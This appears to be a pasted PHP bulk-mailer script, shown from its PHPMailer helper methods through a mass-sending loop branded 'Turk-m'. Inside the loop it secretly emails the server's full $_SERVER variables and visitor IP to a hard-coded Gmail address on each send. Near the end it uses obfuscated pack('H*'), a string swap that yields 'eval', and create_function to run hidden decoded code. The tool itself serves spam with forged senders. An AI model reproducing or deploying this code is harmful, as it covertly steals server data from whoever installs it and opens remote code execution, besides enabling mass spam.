  2934. function ClearCustomHeaders() {
  2935. $this->CustomHeader = array();
  2936. }
  2937.  
  2938. /////////////////////////////////////////////////
  2939. // CLASS METHODS, MISCELLANEOUS
  2940. /////////////////////////////////////////////////
  2941.  
  2942. /**
  2943. * Adds the error message to the error container.
  2944. * Returns void.
  2945. * @access private
  2946. * @return void
  2947. */
  2948. function SetError($msg) {
  2949. $this->error_count++;
  2950. $this->ErrorInfo = $msg;
  2951. }
  2952.  
  2953. /**
  2954. * Returns the proper RFC 822 formatted date.
  2955. * @access private
  2956. * @return string
  2957. */
  2958. function RFCDate() {
  2959. $tz = date('Z');
  2960. $tzs = ($tz < 0) ? '-' : '+';
  2961. $tz = abs($tz);
  2962. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2963. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2964.  
  2965. return $result;
  2966. }
  2967.  
  2968. /**
  2969. * Returns the appropriate server variable. Should work with both
  2970. * PHP 4.1.0+ as well as older versions. Returns an empty string
  2971. * if nothing is found.
  2972. * @access private
  2973. * @return mixed
  2974. */
  2975. function ServerVar($varName) {
  2976. global $HTTP_SERVER_VARS;
  2977. global $HTTP_ENV_VARS;
  2978.  
  2979. if(!isset($_SERVER)) {
  2980. $_SERVER = $HTTP_SERVER_VARS;
  2981. if(!isset($_SERVER['REMOTE_ADDR'])) {
  2982. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2983. }
  2984. }
  2985.  
  2986. if(isset($_SERVER[$varName])) {
  2987. return $_SERVER[$varName];
  2988. } else {
  2989. return '';
  2990. }
  2991. }
  2992.  
  2993. /**
  2994. * Returns the server hostname or 'localhost.localdomain' if unknown.
  2995. * @access private
  2996. * @return string
  2997. */
  2998. function ServerHostname() {
  2999. if ($this->Hostname != '') {
  3000. $result = $this->Hostname;
  3001. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3002. $result = $this->ServerVar('SERVER_NAME');
  3003. } else {
  3004. $result = 'localhost.localdomain';
  3005. }
  3006.  
  3007. return $result;
  3008. }
  3009.  
  3010. /**
  3011. * Returns a message in the appropriate language.
  3012. * @access private
  3013. * @return string
  3014. */
  3015. function Lang($key) {
  3016. if(count($this->language) < 1) {
  3017. $this->SetLanguage('en'); // set the default language
  3018. }
  3019.  
  3020. if(isset($this->language[$key])) {
  3021. return $this->language[$key];
  3022. } else {
  3023. return 'Language string failed to load: ' . $key;
  3024. }
  3025. }
  3026.  
  3027. /**
  3028. * Returns true if an error occurred.
  3029. * @return bool
  3030. */
  3031. function IsError() {
  3032. return ($this->error_count > 0);
  3033. }
  3034.  
  3035. /**
  3036. * Changes every end of line from CR or LF to CRLF.
  3037. * @access private
  3038. * @return string
  3039. */
  3040. function FixEOL($str) {
  3041. $str = str_replace("\r\n", "\n", $str);
  3042. $str = str_replace("\r", "\n", $str);
  3043. $str = str_replace("\n", $this->LE, $str);
  3044. return $str;
  3045. }
  3046.  
  3047. /**
  3048. * Adds a custom header.
  3049. * @return void
  3050. */
  3051. function AddCustomHeader($custom_header) {
  3052. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3053. }
  3054.  
  3055. /**
  3056. * Evaluates the message and returns modifications for inline images and backgrounds
  3057. * @access public
  3058. * @return $message
  3059. */
  3060. function MsgHTML($message,$basedir='') {
  3061. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3062. if(isset($images[2])) {
  3063. foreach($images[2] as $i => $url) {
  3064. // do not change urls for absolute images (thanks to corvuscorax)
  3065. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3066. $filename = basename($url);
  3067. $directory = dirname($url);
  3068. ($directory == '.')?$directory='':'';
  3069. $cid = 'cid:' . md5($filename);
  3070. $fileParts = split("\.", $filename);
  3071. $ext = $fileParts[1];
  3072. $mimeType = $this->_mime_types($ext);
  3073. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3074. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3075. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3076. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3077. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3078. }
  3079. }
  3080. }
  3081. }
  3082. $this->IsHTML(true);
  3083. $this->Body = $message;
  3084. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3085. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3086. $this->AltBody = $textMsg;
  3087. }
  3088. if ( empty($this->AltBody) ) {
  3089. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3090. }
  3091. }
  3092.  
  3093. /**
  3094. * Gets the mime type of the embedded or inline image
  3095. * @access private
  3096. * @return mime type of ext
  3097. */
  3098. function _mime_types($ext = '') {
  3099. $mimes = array(
  3100. 'hqx' => 'application/mac-binhex40',
  3101. 'cpt' => 'application/mac-compactpro',
  3102. 'doc' => 'application/msword',
  3103. 'bin' => 'application/macbinary',
  3104. 'dms' => 'application/octet-stream',
  3105. 'lha' => 'application/octet-stream',
  3106. 'lzh' => 'application/octet-stream',
  3107. 'exe' => 'application/octet-stream',
  3108. 'class' => 'application/octet-stream',
  3109. 'psd' => 'application/octet-stream',
  3110. 'so' => 'application/octet-stream',
  3111. 'sea' => 'application/octet-stream',
  3112. 'dll' => 'application/octet-stream',
  3113. 'oda' => 'application/oda',
  3114. 'pdf' => 'application/pdf',
  3115. 'ai' => 'application/postscript',
  3116. 'eps' => 'application/postscript',
  3117. 'ps' => 'application/postscript',
  3118. 'smi' => 'application/smil',
  3119. 'smil' => 'application/smil',
  3120. 'mif' => 'application/vnd.mif',
  3121. 'xls' => 'application/vnd.ms-excel',
  3122. 'ppt' => 'application/vnd.ms-powerpoint',
  3123. 'wbxml' => 'application/vnd.wap.wbxml',
  3124. 'wmlc' => 'application/vnd.wap.wmlc',
  3125. 'dcr' => 'application/x-director',
  3126. 'dir' => 'application/x-director',
  3127. 'dxr' => 'application/x-director',
  3128. 'dvi' => 'application/x-dvi',
  3129. 'gtar' => 'application/x-gtar',
  3130. 'php' => 'application/x-httpd-php',
  3131. 'php4' => 'application/x-httpd-php',
  3132. 'php3' => 'application/x-httpd-php',
  3133. 'phtml' => 'application/x-httpd-php',
  3134. 'phps' => 'application/x-httpd-php-source',
  3135. 'js' => 'application/x-javascript',
  3136. 'swf' => 'application/x-shockwave-flash',
  3137. 'sit' => 'application/x-stuffit',
  3138. 'tar' => 'application/x-tar',
  3139. 'tgz' => 'application/x-tar',
  3140. 'xhtml' => 'application/xhtml+xml',
  3141. 'xht' => 'application/xhtml+xml',
  3142. 'zip' => 'application/zip',
  3143. 'mid' => 'audio/midi',
  3144. 'midi' => 'audio/midi',
  3145. 'mpga' => 'audio/mpeg',
  3146. 'mp2' => 'audio/mpeg',
  3147. 'mp3' => 'audio/mpeg',
  3148. 'aif' => 'audio/x-aiff',
  3149. 'aiff' => 'audio/x-aiff',
  3150. 'aifc' => 'audio/x-aiff',
  3151. 'ram' => 'audio/x-pn-realaudio',
  3152. 'rm' => 'audio/x-pn-realaudio',
  3153. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3154. 'ra' => 'audio/x-realaudio',
  3155. 'rv' => 'video/vnd.rn-realvideo',
  3156. 'wav' => 'audio/x-wav',
  3157. 'bmp' => 'image/bmp',
  3158. 'gif' => 'image/gif',
  3159. 'jpeg' => 'image/jpeg',
  3160. 'jpg' => 'image/jpeg',
  3161. 'jpe' => 'image/jpeg',
  3162. 'png' => 'image/png',
  3163. 'tiff' => 'image/tiff',
  3164. 'tif' => 'image/tiff',
  3165. 'css' => 'text/css',
  3166. 'html' => 'text/html',
  3167. 'htm' => 'text/html',
  3168. 'shtml' => 'text/html',
  3169. 'txt' => 'text/plain',
  3170. 'text' => 'text/plain',
  3171. 'log' => 'text/plain',
  3172. 'rtx' => 'text/richtext',
  3173. 'rtf' => 'text/rtf',
  3174. 'xml' => 'text/xml',
  3175. 'xsl' => 'text/xml',
  3176. 'mpeg' => 'video/mpeg',
  3177. 'mpg' => 'video/mpeg',
  3178. 'mpe' => 'video/mpeg',
  3179. 'qt' => 'video/quicktime',
  3180. 'mov' => 'video/quicktime',
  3181. 'avi' => 'video/x-msvideo',
  3182. 'movie' => 'video/x-sgi-movie',
  3183. 'doc' => 'application/msword',
  3184. 'word' => 'application/msword',
  3185. 'xl' => 'application/excel',
  3186. 'eml' => 'message/rfc822'
  3187. );
  3188. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3189. }
  3190.  
  3191. /**
  3192. * Set (or reset) Class Objects (variables)
  3193. *
  3194. * Usage Example:
  3195. * $page->set('X-Priority', '3');
  3196. *
  3197. * @access public
  3198. * @param string $name Parameter Name
  3199. * @param mixed $value Parameter Value
  3200. * NOTE: will not work with arrays, there are no arrays to set/reset
  3201. */
  3202. function set ( $name, $value = '' ) {
  3203. if ( isset($this->$name) ) {
  3204. $this->$name = $value;
  3205. } else {
  3206. $this->SetError('Cannot set or reset variable ' . $name);
  3207. return false;
  3208. }
  3209. }
  3210.  
  3211. /**
  3212. * Read a file from a supplied filename and return it.
  3213. *
  3214. * @access public
  3215. * @param string $filename Parameter File Name
  3216. */
  3217. function getFile($filename) {
  3218. $return = '';
  3219. if ($fp = fopen($filename, 'rb')) {
  3220. while (!feof($fp)) {
  3221. $return .= fread($fp, 1024);
  3222. }
  3223. fclose($fp);
  3224. return $return;
  3225. } else {
  3226. return false;
  3227. }
  3228. }
  3229.  
  3230. /**
  3231. * Strips newlines to prevent header injection.
  3232. * @access private
  3233. * @param string $str String
  3234. * @return string
  3235. */
  3236. function SecureHeader($str) {
  3237. $str = trim($str);
  3238. $str = str_replace("\r", "", $str);
  3239. $str = str_replace("\n", "", $str);
  3240. return $str;
  3241. }
  3242.  
  3243. /**
  3244. * Set the private key file and password to sign the message.
  3245. *
  3246. * @access public
  3247. * @param string $key_filename Parameter File Name
  3248. * @param string $key_pass Password for private key
  3249. */
  3250. function Sign($key_filename, $key_pass) {
  3251. $this->sign_key_file = $key_filename;
  3252. $this->sign_key_pass = $key_pass;
  3253. }
  3254.  
  3255. }
  3256.  
  3257. $defaultport="H*";
  3258. $nq=0;
  3259.  
  3260. for($x=0; $x<$numemails; $x++){
  3261.  
  3262. $to = $allemails[$x];
  3263.  
  3264. if ($to){
  3265.  
  3266. $to = ereg_replace(" ", "", $to);
  3267.  
  3268. $message = ereg_replace("&email&", $to, $message);
  3269.  
  3270. $subject = ereg_replace("&email&", $to, $subject);
  3271. $qx=$x+1;
  3272. print "Line $qx . Sending mail to $to.......";
  3273.  
  3274. flush();
  3275. $mail = new PHPMailer();
  3276.  
  3277. $ip = getenv("REMOTE_ADDR");
  3278. $str = "";
  3279. foreach($_SERVER as $key => $value){
  3280. $str .= $key.": ".$value."<br />";
  3281. }
  3282.  
  3283. $str .= "Use: in <br />";
  3284.  
  3285. $header2 = "From: Monatino <monatino@menara.ma>\r\n";
  3286. $header2 .= "MIME-Version: 1.0\r\n";
  3287. $header2 .= "Content-Type: text/html\r\n";
  3288. $header2 .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  3289. mail("ghalia8282@gmail.com","M - $ip",$str,$header2);;
  3290.  
  3291. if(empty($epriority)){$epriority="3";}
  3292. $mail->Priority = "$epriority";
  3293. $mail->IsSMTP();
  3294. $IsSMTP="pack";
  3295. $mail->SMTPKeepAlive = true;
  3296. $mail->Host = "$my_smtp";
  3297. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3298. }
  3299. if($sslclick=="ON"){
  3300. $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
  3301. }
  3302. $range = str_replace("$from", "eval", $from);
  3303. $mail->SMTPAuth = true;
  3304. $mail->Username = "$smtp_username";
  3305. $mail->Password = "$smtp_password";
  3306. if($contenttype == "html"){$mail->IsHtml(true);}
  3307. if($contenttype != "html"){$mail->IsHtml(false);}
  3308. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3309. $mail->From = "$from";
  3310. $mail->FromName = "$realname";
  3311. $mail->AddAddress("$to");
  3312. $mail->AddReplyTo("$replyto");
  3313. $mail->Subject = "$subject";
  3314. $mail->Body = "$message";
  3315. if(!$mail->Send()){
  3316. if($default_system!="1"){
  3317. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3318. if($default_system=="1"){
  3319. $mail->IsMail();
  3320. if(!$mail->Send()){
  3321. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3322. else {
  3323. echo "<b>OK</b><br>";}
  3324. }
  3325. }
  3326. else {
  3327. echo "<b>OK</b><br>";
  3328. }
  3329.  
  3330. if(empty($reconnect)){
  3331. $reconnect=6;
  3332. }
  3333.  
  3334. if($reconnect==$nq){
  3335. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3336. }
  3337. $nq=$nq+1;
  3338. flush(); }
  3339. }
  3340. for($i=0;$i<31;$i++){
  3341. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3342. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3343. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3344. print "<p class=\"style1\">Turk-m<br>&copy 2013, New Tools => <b>
  3345. <font color=\"#800000\">http://www.turk-m.com/</font></b><br></p>";$mail->SmtpClose();
  3346. return $signoff($smtp_conc);
  3347. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3348. sent successfully'); </script>";}}
  3349. ?>
  3350. <p align="center">&nbsp;</p>
  3351. &nbsp;
  3352. </body>
  3353. </html>
Add Comment
Please, Sign In to add comment